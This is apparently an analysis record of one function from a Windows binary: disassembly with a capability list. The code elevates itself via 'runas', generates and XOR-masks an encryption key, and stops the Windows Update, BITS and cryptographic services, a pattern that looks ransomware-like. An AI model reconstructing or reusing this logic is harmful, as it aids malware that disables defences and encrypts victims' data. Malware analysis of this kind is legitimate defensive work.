Function at 0x401a90
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encode data using xor
Generate random numbers via winapi
Get token membership
Stop service

Disassembly:
sub esp, 0x1ac
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1a8], eax
cmp dword [esp + 0x1b0], 2
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0x1b8]
mov dword [esp + 0x54], ebx
jge 0x401bca
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x7c]
mov dword [esp + 0x30], 0
push eax
mov dword [esp + 0x80], 0
mov word [esp + 0x84], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401b1e
lea eax, [esp + 8]
push eax
push dword [esp + 8]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp + 8], 0
jne 0x401b9a
push 0x104
lea eax, [esp + 0xac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401b9a
push 0x38
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 0x3c
push 0
push eax
call fcn.00402fb0
add esp, 0xc
mov dword [esp + 0x24], str.runas
lea eax, [esp + 0xa8]
mov dword [esp + 0x2c], str.__food
mov dword [esp + 0x28], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0
push eax
mov dword [esp + 0x38], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401e6b
jmp 0x401e64
push 0
push 0
push str.__food
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1a8]
xor ecx, esp
call fcn.00401f28
add esp, 0x1ac
ret
push 0xf0000000
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401e50
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
lea eax, [esp + 0x8c]
push eax
push 0x20
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x7c]
push eax
push 0x10
push dword [esp + 0x10]
call esi
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
movaps xmm1, xmmword [0x41b350]
xor eax, eax
nop dword [eax]
movups xmm0, xmmword [esp + eax + 0x8c]
xorps xmm0, xmm1
movups xmmword [esp + eax + 0x8c], xmm0
add eax, 0x10
cmp eax, 0x20
jb 0x401c20
movups xmm0, xmmword [esp + 0x7c]
push 0xf003f
push 0
xorps xmm1, xmm0
push 0
movups xmmword [esp + 0x88], xmm1
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [esp + 0xc], eax
test eax, eax
je 0x401cd7
mov dword [esp + 0x10], str.wuauserv
xor esi, esi
mov dword [esp + 0x14], str.bits
mov dword [esp + 0x18], str.cryptsvc
push edi
nop dword [eax]
mov ebx, dword [esp + esi*4 + 0x14]
push 0x24
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x401cbf
lea eax, [esp + 0x64]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x401cb4
push ebx
push str.gay__s._n
call fcn.00401ec0
add esp, 8
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebx
jmp 0x401cc5
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x10]
inc esi
cmp esi, 3
jb 0x401c80
pop edi
push eax
call ebx
mov ebx, dword [esp + 0x58]
movaps xmm2, xmmword [0x41b350]
xor eax, eax
movups xmm0, xmmword [esp + eax + 0x8c]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [esp + eax + 0x8c], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x401ce0
movups xmm0, xmmword [esp + 0x7c]
push 0
xorps xmm2, xmm0
movups xmmword [esp + 0x80], xmm2
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov dword [0x42462c], eax
test eax, eax
je 0x401e72
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov ecx, eax
mov dword [0x424628], ecx
test ecx, ecx
je 0x401e8d
mov eax, dword [0x42462c]
mov dword [0x424644], eax
mov dword [0x424648], ecx
mov ecx, str.__food
mov dword [0x424640], 3
mov dword [0x424650], 0
mov dword [0x424654], 0
mov dword [0x424658], 0
mov dword [0x42465c], 0
mov dword [0x424660], 1
mov dword [0x424664], 0x28
mov dword [0x42464c], 0
mov esi, dword [ebx + 4]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401dc3
test dl, dl
je 0x401dbf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401dc3
add eax, 2
add ecx, 2
test dl, dl
jne 0x401da3
xor eax, eax
jmp 0x401dc8
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e26
push eax
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x94]
push eax
call fcn.004015a0
add esp, 0xc
push 0
push 0
push dword [0x424628]
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
push dword [0x424628]
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
push dword [0x42462c]
call dword [sym.imp.KERNEL32.dll_CloseThreadpool]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1a8]
xor ecx, esp
call fcn.00401f28
add esp, 0x1ac
ret
push esi
push str.sj_syslog:__s_n
call fcn.00401ec0
mov ecx, dword [esp + 0x1b8]
add esp, 8
mov eax, 1
pop esi
pop ebx
xor ecx, esp
call fcn.00401f28
add esp, 0x1ac
ret
push str.mreowww_fuck_off_:3_n
call fcn.00401ec0
add esp, 4
push 1
call fcn.00405939
push 1
call fcn.00405939
push 0
call fcn.00405939
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.327fnsa0mf48nsw___d__n
call fcn.00401ec0
add esp, 8
push 1
call fcn.00405939
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.mwowowowow___d__n
call fcn.00401ec0
add esp, 8
push dword [0x42462c]
call dword [sym.imp.KERNEL32.dll_CloseThreadpool]
push 1
call fcn.00405939
int3